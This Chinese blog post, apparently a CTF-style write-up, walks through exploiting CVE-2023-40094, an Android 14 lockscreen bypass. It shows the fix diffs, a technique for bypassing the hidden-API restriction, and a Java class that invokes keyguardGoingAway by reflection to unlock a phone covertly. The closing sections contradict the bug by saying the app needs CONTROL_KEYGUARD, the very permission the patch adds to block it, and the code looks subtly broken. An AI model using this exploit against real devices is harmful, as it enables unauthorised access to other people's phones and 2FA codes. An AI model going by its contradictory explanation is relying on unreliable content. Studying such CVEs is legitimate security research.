Pico Org
1576 字
8 分钟
CVE-2023-40094
2024-11-06
无标签

1. 简介#

过去两年来,你一直在追踪和监视一个大型洗钱网络。通过你的努力工作,你成功地在现场安插了一名特工。通过社会工程学技术,他成功获取了该网络中某个重要人物的加密钱包密码。然而,访问受到了双重身份验证的保护…

你的特工向你保证,他能够操纵罪犯,让其在自己的 Android 14 手机上安装一个应用程序,并在后台运行。基于这些信息,你推测可以利用漏洞 CVE-2023-40094,在合适的时机解锁手机并获取 2FA 代码。你搭建了一个模拟器,然后开始开发…

说明文件 instructions.md 中提供了详细的指示。

2. CVE-2023-40094 分析#

我们决定按照描述中提到的路径,研究 CVE-2023-40094:

  • https://nvd.nist.gov/vuln/detail/CVE-2023-40094

    在 ActivityTaskManagerService.java 的 keyguardGoingAway 中,由于缺少权限检查,可能会导致锁屏绕过。这可能导致本地权限升级,而不需要额外的执行权限。利用不需要用户交互。

我们可以找到修复该漏洞的提交

diff --git a/core/java/android/app/IActivityTaskManager.aidl b/core/java/android/app/IActivityTaskManager.aidl
index fe75dd3..b709b7e 100644
--- a/core/java/android/app/IActivityTaskManager.aidl
+++ b/core/java/android/app/IActivityTaskManager.aidl
@@ -239,6 +239,7 @@
      *              {@link android.view.WindowManagerPolicyConstants#KEYGUARD_GOING_AWAY_FLAG_TO_SHADE}
      *              etc.
      */
+     @JavaPassthrough(annotation="@android.annotation.RequiresPermission(android.Manifest.permission.CONTROL_KEYGUARD)")
     void keyguardGoingAway(int flags);

     void suppressResizeConfigChanges(boolean suppress);

以及

diff --git a/services/core/java/com/android/server/wm/ActivityTaskManagerService.java b/services/core/java/com/android/server/wm/ActivityTaskManagerService.java
index aa15429..71ca852 100644
--- a/services/core/java/com/android/server/wm/ActivityTaskManagerService.java
+++ b/services/core/java/com/android/server/wm/ActivityTaskManagerService.java
@@ -18,6 +18,7 @@

 import static android.Manifest.permission.BIND_VOICE_INTERACTION;
 import static android.Manifest.permission.CHANGE_CONFIGURATION;
+import static android.Manifest.permission.CONTROL_KEYGUARD;
 import static android.Manifest.permission.CONTROL_REMOTE_APP_TRANSITION_ANIMATIONS;
 import static android.Manifest.permission.INTERACT_ACROSS_USERS;
 import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
@@ -3394,6 +3395,7 @@

     @Override
     public void keyguardGoingAway(int flags) {
+        mAmInternal.enforceCallingPermission(CONTROL_KEYGUARD, "unlock keyguard");
         enforceNotIsolatedCaller("keyguardGoingAway");
         final long token = Binder.clearCallingIdentity();
         try {

我们可以注意到,与 keyguard 相关的函数被添加了权限控制。keyguard 类似于屏幕锁定,并管理其状态:

最后,我们还注意到提交描述中有这样一条消息:

手动验证,确认在 bug 中找到的应用程序无法成功调用 keyguardGoingAway

我们的策略是开发一种逻辑,能够重现此漏洞,以便通过 keyguardGoingAway 函数控制屏幕的(解)锁。

3. 内部系统 API 调用#

方法 keyguardGoingAway 不属于 SDK 接口的一部分,例如在 Android Studio 环境中不可用。因此,无法编译调用该方法的代码,因为它未被定义。然而,我们可以使用 Java 反射在运行时调用它(动态调用)。以下是一些关于此主题的参考资料:

不幸幸运的是,自 Android 9 起,Google 限制了对某些不属于经典 SDK 的函数的调用。完整列表可在此处找到:

因此,keyguardGoingAway 被列入了黑名单:

Landroid/app/IActivityTaskManager$Default;->keyguardGoingAway(I)V,blocked

查看此处提供的文件:https://dl.google.com/developers/android/udc/non-sdk/hiddenapi-flags.csv?hl=fr,第 23252 行。

4. 双重反射#

为了绕过设置的过滤,我们可以使用一种名为双重反射的技术:

双重反射。这是一种 Java 方法。使用系统类进行反射,我们可以将调用者的身份更改为系统 [5]。我们首先利用反射来获取反射 API,称为元反射 API。此元反射 API 由系统类加载。然后,我们使用此元反射 API 来反射调用非 SDK API。此时,对非 SDK API 的调用将被视为系统调用。此外,VMRuntime 类下有一个 setHiddenApiExemptions() API(非 SDK API),可用于豁免非 SDK API 的限制。结合双重反射和 setHiddenApiExemptions(),所有非 SDK API 仍然可以通过先前的方法(即 SDK 替换、Java 反射和 JNI)访问。

来源:https://diaowenrui.github.io/paper/icse22-yang.pdf

在寻找实现这种操作的库时,我们注意到了以下 Java 模块:https://github.com/LSPosed/AndroidHiddenApiBypass/。


以下是一些关于实现 AndroidHiddenApiBypass 的实用资源:

5. 利用#

我们的首要目标是访问 android.app.IActivityTaskManager 的一个实例。即使我们可以通过双重反射直接调用它,我们也希望从一个活动对象中获得它。为此,我们可以使用 getService() 方法,正如在 https://diaowenrui.github.io/paper/icse22-yang.pdf 中所述,我们将以此为灵感来构建我们的调用链:

getService() 是恶意应用中使用最频繁的非 SDK API,旨在获取特定的系统服务。

然而,直接调用此函数是不可能的。通过研究源代码,我们注意到了另一条调用路径:

/**
 * @hide
 */
@UnsupportedAppUsage
public static IActivityManager getService() {
    return IActivityManagerSingleton.get();
}

private static IActivityTaskManager getTaskService() {
    return ActivityTaskManager.getService();
}

我们可以注意到,其中一个方法未被隐藏,并为我们提供了一个 android.app.IActivityTaskManager$Stub$Proxy 的实例,其内部系统 API 定义在 android/app/IActivityTaskManager.aidl 中,并在 services/core/java/com/android/server/wm/ActivityTaskManagerService.java 中实现(参见 https://www.protechtraining.com/static/slides/Deep_Dive_Into_Binder_Presentation.html#slide-10

我们已经确定了可以通过 ActivityTaskManager.getService() 方法获取 IActivityTaskManager 实例的路径。接下来,我们需要使用双重反射技术来调用 keyguardGoingAway 方法,从而绕过 Android 的非 SDK API 调用限制。

5.1. 实现步骤#

  1. 引入 AndroidHiddenApiBypass 库:首先,我们需要将 AndroidHiddenApiBypass 库集成到我们的项目中。这个库提供了绕过非 SDK API 限制的功能。

  2. 获取 IActivityTaskManager 实例:使用 ActivityTaskManager.getService() 方法获取 IActivityTaskManager 的实例。

  3. 使用双重反射调用 keyguardGoingAway

    • 利用 AndroidHiddenApiBypass 库中的功能,解除对 keyguardGoingAway 方法的调用限制。
    • 使用反射机制调用 keyguardGoingAway 方法。
  4. 处理权限:确保应用程序具有必要的权限(如 CONTROL_KEYGUARD),以便成功调用 keyguardGoingAway

5.2. 代码示例#

以下是一个简化的代码示例,展示了如何实现上述步骤:

import android.app.ActivityTaskManager;
import android.app.IActivityTaskManager;
import android.util.Log;
import com.android.hiddenapibypass.HiddenApiBypass;

public class KeyguardBypass {

    public static void unlockKeyguard() {
        try {
            // Step 1: Bypass hidden API restrictions
            HiddenApiBypass.addHiddenApiExemptions("L");

            // Step 2: Get IActivityTaskManager instance
            IActivityTaskManager activityTaskManager = ActivityTaskManager.getService();

            // Step 3: Use reflection to call keyguardGoingAway
            Method keyguardGoingAwayMethod = activityTaskManager.getClass().getDeclaredMethod("keyguardGoingAway", int.class);
            keyguardGoingAwayMethod.setAccessible(true);
            keyguardGoingAwayMethod.invoke(activityTaskManager, 0);

            Log.i("KeyguardBypass", "Successfully called keyguardGoingAway");
        } catch (Exception e) {
            Log.e("KeyguardBypass", "Failed to call keyguardGoingAway", e);
        }
    }
}

5.3. 注意事项#

  • 权限要求:确保应用程序具备 CONTROL_KEYGUARD 权限。这可能需要修改系统权限,或者在受控环境下测试。
  • 安全性:此类操作可能会违反 Android 的安全策略,建议仅在研究和合法的测试环境中使用。
  • 设备兼容性:由于 Android 的版本和设备差异,确保在目标设备上进行充分测试。

5.4. 总结#

通过以上步骤,我们可以利用 CVE-2023-40094 漏洞,绕过 Android 的锁屏机制。这种方法结合了对 Android 系统内部机制的深入理解和对反射技术的巧妙应用。然而,开发人员在使用此类技术时应始终遵循法律和道德标准,以确保其应用程序的安全性和合规性。

CVE-2023-40094
https://picoorg.github.io/posts/cve-2023-40094/
作者
Pico Org
发布于
2024-11-06
许可协议
CC BY-NC-SA 4.0